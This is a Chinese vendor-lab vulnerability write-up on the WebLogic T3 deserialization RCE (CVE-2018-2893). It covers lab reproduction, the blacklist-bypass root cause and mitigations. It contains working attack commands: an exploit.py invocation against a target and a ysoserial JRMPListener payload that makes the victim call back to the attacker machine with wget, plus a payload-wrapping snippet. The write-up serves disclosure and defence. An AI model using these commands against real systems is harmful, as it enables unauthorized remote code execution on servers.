大数跨境
首页
>
Weblogic反序列化远程代码执行漏洞研究分析（CVE-2018-2893）
>
0
0

Weblogic反序列化远程代码执行漏洞研究分析（CVE-2018-2893）

Weblogic反序列化远程代码执行漏洞研究分析（CVE-2018-2893） SafedogCybersecurityLab
2018-07-31
1
导读：本文参考了一些资料对CVE-2018-2893这一高危的Weblogic Server远程代码执行漏洞进行了漏洞复现与分析，如有谬误还请指正！如有其他建议，请您多多指教！

本文参考了一些资料对CVE-2018-2893这一高危的Weblogic Server远程代码执行漏洞进行了漏洞复现与分析，如有谬误还请指正！如有其他建议，请您多多指教！


文章结构

第一章 安全预警
第二章 漏洞详情
第三章 PoC验证
    3.1 PoC来源
    3.2 环境搭建
    3.3 验证步骤
    3.4 验证结果
第四章 漏洞原理分析
第五章 漏洞修复方案
    5.1 厂商修复方案
    5.2 安全狗解决方案
第六章 漏洞披露时间线
第七章 总结
相关链接
    1 当前漏洞相关信息链接
    2 历史同类漏洞相关链接


第一章 安全预警

WebLogic Server是美国甲骨文（Oracle）公司开发的一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。RMI目前使用Java远程消息交换协议JRMP（Java Remote Messaging Protocol）进行通信，JRMP协议是专为Java的远程对象制定的协议。在WebLogic Server的 RMI（远程方法调用）通信中，T3协议（丰富套接字）用来在 WebLogic Server 和其他 Java 程序（包括客户端及其他 WebLogic Server 实例）间传输数据，该协议在开放WebLogic控制台端口的应用上默认开启。由于在WebLogic中，T3协议和Web协议共用同一个端口，因此只要能访问WebLogic就可利用T3协议，将payload发送至目标服务器。

北京时间7月18日凌晨，Oracle官方发布了7月份关键补丁更新CPU（Critical Patch Update），其中修复了一个在4月份CPU补丁中未能完全修复的WeblogicServer反序列化漏洞（CNVD-2018-07811，CVE-2018-2628）。该漏洞通过JRMP协议利用RMI机制的缺陷达到执行任意反序列化代码的目的。攻击者可以在未授权的情况下将payload封装在T3协议中，通过对T3协议中的payload进行反序列化，从而实现对存在漏洞的WebLogic组件进行远程攻击，执行任意代码并可获取目标系统的所有权限[1]。

安全狗第一时间关注了事件进展。根据最新的研究分析，我们总结出了一些防护建议，敬请用户知晓。


第二章 漏洞详情


第三章 PoC验证

PoC验证分为“漏洞环境搭建”与“攻击实施”两部分。在漏洞环境搭建时，设置有“靶机”和“攻击机”两台机器。“靶机”上运行有Weblogic服务器（开启了T3服务，端口为7001）。“攻击机”上运行有能配合“远程方法调用”的JRMPListener服务器（端口为1099）以及一个SimpleHTTPServer服务器（端口为8000）。PoC验证的实验示意图如图1所示。

图 1 PoC验证的实验示意图

在实施攻击时，“攻击机”会发送含有恶意代码的payload给靶机的会解包Object结构的T3服务，以触发T3协议在WebLogic Server中的反序列化漏洞，这将使得“靶机”的JRMPClient对“攻击机”的JRMPListener服务器进行远程方法调用；JRMPListener会将含有恶意代码的payload发送给JRMPClient，接着JRMPClient会解包Object结构并执行恶意代码。因而“攻击机”可以在“靶机”执行“指定命令”。

本实验的“指定命令”是“对攻击机的8000端口进行HTTP请求”。如果攻击机可以从自身的8000端口检测到来自靶机的HTTP请求，则证明RCE攻击实施成功。

3.1 PoC来源

本实验的PoC来源于网址：https://www.exploit-db.com/exploits/44553/

3.2 环境搭建

本实验的环境搭建分为“靶机”和“攻击机”两部分。“靶机”是Docker的Weblogic容器。“攻击机”是“Kali 2”虚拟机。

为了搭建靶机，执行以下命令：

(1)从远程拉取一个image

#docker pull vulhub/weblogic:latest

(2)创建并运行一个新容器

#docker run --rm -p 7001:7001 vulhub/weblogic:latest

靶机的搭建结果如图2所示。

图2靶机的搭建结果

为了搭建攻击机，进行以下操作：

(1)下载ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 与 

ysoserial-0.1-cve-2018-2628-all.jar[2]

(2)搭建Python SimpleHTTPServer

#python -m SimpleHTTPServer

(3)开启JRMPListener

#java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'wget 192.168.1.129:8000'

攻击机的搭建结果图3所示。

图3攻击机的搭建结果

3.3 验证步骤

在攻击机执行 exploit.py]脚本[3]，命令如下。

#python exploit.py 192.168.1.106 7001 ysoserial-0.1-cve-2018-2893-all.jar 192.168.1.129 1099 JRMPClient2893

注：ysoserial-0.1-cve-2018-2893-all.jar中的JRMPClient2893类来自于360CERT写的技术文章《CVE-2018-2893：Oracle WebLogic Server 远程代码执行漏洞分析预警》[4]。为了成功编译该类，笔者在IntelliJ IDEA的工程中导入了ysoserial-0.1-cve-2018-2628-all.jar这一jar包。在得到JRMPClient.class文件后，运用归档管理器打开ysoserial-cve-2018-2628.jar文件，接着将JRMPClient2893.class放入/ysoserial/payloads/文件夹。这样子，该jar包就包含了JRMPClient2893.class。接着，将该jar包重命名为ysoserial-cve-2018-2893.jar，如图4所示。

图4将“JRMPClient2893.class”放入jar包

3.4 验证结果

验证结果如图5所示，在攻击机上的“SimpleHTTPServer”终端可以接收到IP为“192.168.1.106”的机器（靶机）所做的Get请求，这也证明了攻击实施成功。

图 5验证结果


第四章漏洞原理分析

这个漏洞是结合了历史问题实现了远程命令执行，具体概括有绕过黑名单、RMI与反射机制这三点[5]：

(1)绕过黑名单

Oracle经常采用“黑名单”的方式对Weblogic的漏洞进行修复，Weblogic的历史CVE[6]如图6所示。事实证明，如果“黑名单”设置得不够完备，就可能被攻击者绕过。

图 6 Weblogic的历史CVE

(2)RMI

RMI是Remote MethodInvocation的简称，是Java SE的一部分，能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象，可以从另一个Java虚拟机上（甚至跨过网络）调用它的方法，可以像调用本地Java对象的方法一样调用远程对象的方法，使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

RMI传输过程都使用序列化和反序列化，如果RMI服务端端口对外开发，并且服务端使用了像Apache Commons Collections这类包含反序列化漏洞的库，则会导致远程命令执行。

RMI依赖于Java远程消息交换协议JRMP（Java Remote Messaging Protocol），该协议为Java定制，要求服务端与客户端都为Java编写。

(3)反射机制

Java反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。

接下来从“绕过黑名单”“RMI”与“反射机制”等角度对该漏洞的利用原理进行分析。

(1)绕过黑名单，初步理解CVE-2018-2893的黑名单绕过方式

在看到CVE-2018-2893的漏洞信息时，可以感觉到该漏洞来自于对今年4月份的CVE-2018-2628的二次挖掘。而这两个漏洞都对历史的官方补丁所设置的黑名单进行了绕过。

CVE-2018-2628利用java.rmi.activation.Activator绕过了针对CVE-2017-3248的修复：

protected Class<?>resolveProxyClass(String[]interfaces)throws IOException,ClassNotFoundException
{
    String[]arr$ = interfaces;
    int len$ = interfaces.length;
    for(int i$ = 0;i$ < len$; ++i$)
    {
        String intf = arr$[i$];
        if(intf.equals("java.rmi.registry.Registry"))
        {
            throw new InvalidObjectException("Unauthorized proxy deserialization");
        }

    }
    return super.resolveProxyClass(interfaces);
}

可以从以上代码发现Weblogic中weblogic.rjvm.InboundMsgAbbrev的resolveProxyClass方法处理RMI接口类型，在处理时只对java.rmi.registry.Registry进行过滤；而为了实施攻击，攻击者可以找一个其他的RMI接口进行绕过，比如应用java.rmi.activation.Activator为RMI对象激活提供支持[7]。Oracle发布了针对CVE-2018-2628的补丁（p27395085_1036_Generic），补丁在WeblogicFilterConfig.class的黑名单DEFAULT_BLACKLIST_CLASSES中添加了sun.rmi.server.UnicastRef, 以进行防御，如图7所示。

图7WeblogicFilterConfig.class的黑名单

关于对CVE-2018-2628的“黑名单绕过”的详细分析，大家可以参阅《CVE-2018-2628：WeblogicRCE漏洞复现与分析笔记》[8]。

现在着重来分析CVE-2018-2893的绕过方式，通过IDEA的Compare With功能来比较JRMPClient2893与JRMPClient2的代码，如图8所示。

图 8比较JRMPClient2893与JRMPClient2的代码

可以发现JRMPClient2类与JRMPClient2893类均实现了ObjectPayload接口，并实现了接口中的getObject方法。JRMPClient2893类的getObject方法返回了类型为Object的weblogic.jms.common.StreamMessageImp对象。

接着，对“CVE-2017-3248的payload”（对应“cve-2017-3248.poc.ser”）、“CVE-2018-2628的payload”（对应“cve-2018-2628.poc.ser”）以及“CVE-2018-2893”的payload（对应“cve-2018-2893.poc.ser”）进行比较，如图9所示。

图9CVE-2017-3248、CVE-2018-2628以及CVE-2018-2893的payload

在上图中对比CVE-2017-3248与CVE-2018-2628的payload，可以观察到CVE-2018-2628所用的“用Activator替代Registry”的绕过方式。并且，3组payload均出现了以下的RMI调用方式：

java.lang.reflect.Proxy 
java/lang/reflect/InvocationHandler 
java.rmi.server.RemoteObjectInvocationHandler 
java.rmi.server.RemoteObject 
UnicastRef

但同时，这两个疑问也产生了：

(1)CVE-2018-2893是怎么利用weblogic.jms.common.StreamMessageImp的?

(2)在针对CVE-2018-2628的补丁中，已经将UnicastRef放入黑名单了，而“CVE-2018-2893”的payload中还有UnicastRef，为什么该payload还能攻击成功呢？

对于第1个疑问，有安全团队曾经指出了针对于“CVE-2018-2628”的补丁绕过方式（结合CVE-2016-0638的利用方式与CVE-2017-3248的payload来绕过补丁）[9]，他们也将这一补丁绕过方式申请成了CVE-2018-2893。StreamMessageImpl这个点在反序列化的时候没有被resolveProxyClass方法检查。所以可以使用StreamMessageImpl将RemoteObjectInvocationHandler序列化，以此来绕过resolveProxyClass方法。将JRMPClient生成的 payloadObject 用StreamMessageImpl封装生成新的payload。

public static Object streamMessageImpl(byte[] object) throws Exception {
    StreamMessageImpl streamMessage = new StreamMessageImpl();
    streamMessage.setDataBuffer(object, object.length);
    return streamMessage;
}

对于第2个疑问，有安全人员指出启用Weblogic调试模式，利用上述payload进行攻击，设置断点跟踪调试，可以发现如下反射链：

java.lang.Object
java.util.Vector
java.lang.reflect.Proxy
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.RemoteObject

由反射链可知，payload使用ysoserial序列化一个RemoteObjectInvocationHandler，RemoteObjectInvocationHandler使用UnicastRef建立到远端的TCP连接获取RMI registry。而虽然payload中包含了黑名单中的sun.rmi.server.UnicastRef，但并未被包含在反射链中，因而在更新补丁后，对于jdk<=1.7.0.21环境，仍能使用该漏洞进行反序列化攻击[10]。此外，已有安全研究人员提出了针对于此次的CVE-2018-2893的绕过方式[11]。

（注：Registry与Activator来自于Java的基础类库，而这次的weblogic.jms.common.StreamMessageImp来自于Weblogic的类库。）

(2)RMI，为什么攻击机发送给靶机的payload可以触发远程方法调用？

首先来看攻击机进行攻击的命令：

#python exploit.py 192.168.1.106 7001 ysoserial-0.1-cve-2018-2893-all.jar 192.168.1.129 1099 JRMPClient2893

这条命令向靶机的T3服务（192.168.1.106:7001）发送由ysoserial-0.1-cve-2018-2893-all.jar中的JRMPClient2893生成的payload（JRMPListener为192.168.1.129:1099）。这个payload可以在靶机绕过Weblogic的黑名单限制，并在靶机与攻击机之间建立“JRMPClient与JRMPListener之间的的远程方法调用”，即在靶机反序列化RemoteObjectInvocationHandler，它会利用UnicastRef建立到攻击机的TCP连接，以获取RMI Registry，加载回来再利用readObject解析，从而造成反序列化远程代码执行[12]。

(3)反射机制，为什么可利用CommonsCollections1来做PoC?

首先来看开启JRMPListener的命令：

#java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'wget 192.168.1.109:8000'

这里利用了ysoserial的CommonsCollections1，因为weblogic依赖的jar包包含了CommonsCollections 3.2.0[13]。所以可以在解压Weblogic的dev版本wls1036_dev.zip后，找到CommonsCollection的文件路径，如图10所示。

图10 Weblogic包含了CommonsCollections的jar包

CommonsCollections 3.2.0可受到反序列化RCE漏洞的影响。这一漏洞的问题主要出现在org.apache.commons.collections.Transformer 接口上；在 Apache CommonsCollections 中有一个 InvokerTransformer 类实现了 Transformer，主要作用是调用 Java 的反射机制来调用任意函数，只需要传入方法名、参数类型和参数，即可调用任意方法。TransformedMap 配合sun.reflect.annotation.AnnotationInvocationHandler中的 readObject()，可以触发漏洞[14]。

Apache CommonsCollection的InvokerTransformer类和ChainedTransformer类仿佛引发攻击的导火索。而AnnotationInvocationHandler仿佛火花。

该漏洞的原理示意图如图11所示。

图 11 Apache commonscollection 反序列化漏洞原理示意

有很多大牛已经对CommonsCollections的经典漏洞进行过详细分析了，在此不做详细的叙述。


第五章 漏洞修复方案

5.1 厂商修复方案

Oracle官方已经在2018年7月18日的关键补丁更新（CPU）中修复了该漏洞，强烈建议受影响的用户尽快升级更新进行防护。

链接：

http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

5.2安全狗解决方案

(1) 控制T3协议的访问

此漏洞产生于WebLogic的T3服务，因此可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。当开放WebLogic控制台端口（默认为7001端口）时，T3服务会默认开启。

具体操作如下：

  • 进入WebLogic控制台，在base_domain的配置页面中，进入“安全”选项卡页面，点击“筛选器”，进入连接筛选器配置。

  • 在连接筛选器中输入：weblogic.security.net.ConnectionFilterImpl，在连接筛选器规则中输入：127.0.0.1* * allow t3 t3s，0.0.0.0/0 * * deny t3 t3s（t3和t3s协议的所有端口只允许本地访问），如图12所示。

图12在Weblogic控制台控制T3协议的访问

  •  保存后需重新启动，规则方可生效。

(2) 建议用户将JDK升级到 jdk-8u20以上的版本


第六章 漏洞披露时间线

2017/12/15：分配CVE ID，CVE-2018-2893

2018/7/18：Oracle官方发布了季度补丁更新，包含CVE-2018-2893补丁


第七章 总结

针对该漏洞的攻击方式正与历史问题息息相关。比如，在“绕过黑名单”方面，漏洞的发现者很可能通过反编译与文件比对等方式分析官方的历史补丁以及Web应用所依赖的类库 ，以快速找到修改了哪段代码，判断修改的部分是不是已成功修补了这个漏洞或者未公开的漏洞，也可以根据这个方法快速找到漏洞的位置。此外，可以对历史漏洞的攻击方式与绕过方式进行组合，以寻找绕过方式或风险点。补丁的发布者也应对历史问题引起重视，可对引发漏洞的类库做重点研究，以使黑名单更加完备；

在“RMI”方面，目前已有多个Java反序列化漏洞利用该技术进行漏洞的触发。比如2016年的“Spring 框架的反序列化漏洞”；

在“反射机制”方面，几乎所有的开发框架以及应用技术都是基于反射技术的应用。“反射技术”可以对恶意代码的意图进行掩盖。比如2015年的“Java Apache-CommonsCollections反序列化漏洞”。

在今后的漏洞研究中，笔者会更加关注历史问题。


相关链接

1 当前漏洞相关信息链接

[1] CNVD.关于Oracle WebLogic Server存在反序列化远程代码执行漏洞的安全公告[EB/OL].[2018-07-18].http://www.cnvd.org.cn/webinfo/show/4601.

[2] ysoserial-0.1-cve-2018-2628-all.jar.https://github.com/tdy218/ysoserial-cve-2018-2628/releases

[3] brianwrf.Oracle Weblogic Server10.3.6.0 / 12.1.3.0 / 12.2.1.2 / 12.2.1.3 - Deserialization Remote CommandExecution[EB/OL].[2018-04-22].https://www.exploit-db.com/exploits/44553/.

[4] 360-CERT.CVE-2018-2893：OracleWebLogic Server 远程代码执行漏洞分析预警[EB/OL].[2018-07-18].https://mp.weixin.qq.com/s?__biz=MzU5MjEzOTM3NA==&mid=2247485598&idx=1&sn=3b9a920dd862e5e67303e799c370dd99&chksm=fe250d9fc9528489f359e59984556eebfc5ab90d373505aef11c180677bfb72f6f776b770c7e&mpshare=1&scene=1&srcid=0718xlaD3duFH3kgYRpoPGvT#rd.

[5] 天融信阿尔法实验室.CVE-2018-2628WebLogic反序列化漏洞分析[EB/OL].[2018-04-20].http://blog.topsec.com.cn/ad_lab/cve-2018-2628-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/.

[6] xxlegend.先知议题 Java反序列化实战解读[EB/OL].[2018-06-20].http://xxlegend.com/2018/06/20/%E5%85%88%E7%9F%A5%E8%AE%AE%E9%A2%98%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98%20%E8%A7%A3%E8%AF%BB/.

[7] 石肖雄.Weblogic 反序列化REC(CVE-2018-2628)[EB/OL].[2018-4-18].https://mp.weixin.qq.com/s/-HuQA2KfGB_rAG4VasTUhQ.

[8] Chenergy.CVE-2018-2628：WeblogicRCE漏洞复现与分析笔记[EB/OL].[2018-5-15].https://mp.weixin.qq.com/s/BkwvYnb9mRJu6Z-rQM-tuA.

[9] Knownsec知道创宇.WebLogic反序列化漏洞（CVE-2018-2628）漫谈[EB/OL].[2018-04-25].http://www.freebuf.com/articles/web/169770.html.

[10] sunyz2.CVE-2018-2628补丁绕过分析与修复建议[EB/OL].[2018-5-14].http://www.sohu.com/a/231493132_354899.

[11] lpwd.Weblogic JRMP反序列化漏洞回顾[EB/OL].[2018-07-24].https://xz.aliyun.com/t/2479.

[12] 廖新喜.CVE-2018-2628 简单复现与分析[EB/OL].[2018-04-18].https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA.

[13] TopScrew.WebLogic反序列化漏洞CVE-2018-2628复现与EXP构造[EB/OL].[2018-04-25].http://www.freebuf.com/vuls/169420.html.

[14] 斗象科技能力中心(E_Bwill@TCC).深入理解 JAVA 反序列化漏洞[EB/OL].[2018-4-25].https://paper.seebug.org/312/.

2 历史同类漏洞相关链接

[1] CVE-2015-4852:

https://nvd.nist.gov/vuln/detail/CVE-2015-4852

[2] CVE-2016-0638:

https://nvd.nist.gov/vuln/detail/CVE-2016-0638

[3] CVE-2016-3510:

https://nvd.nist.gov/vuln/detail/CVE-2016-3510

[4] CVE-2017-3248:

https://nvd.nist.gov/vuln/detail/CVE-2017-3248

[5] CVE-2018-2628:

https://nvd.nist.gov/vuln/detail/CVE-2018-2628

【声明】内容源于网络
0
0
SafedogCybersecurityLab
Safedog Cybersecurity Lab（安全狗网络安全实验室）隶属于安全狗研发中心，现阶段的我们致力于Web、APP以及区块链等方面的安全研究以及热点安全事件的跟踪。这个公众号是我们的分享、交流的平台。
内容 10
粉丝 0
SafedogCybersecurityLab Safedog Cybersecurity Lab（安全狗网络安全实验室）隶属于安全狗研发中心，现阶段的我们致力于Web、APP以及区块链等方面的安全研究以及热点安全事件的跟踪。这个公众号是我们的分享、交流的平台。
总阅读10
粉丝0
内容10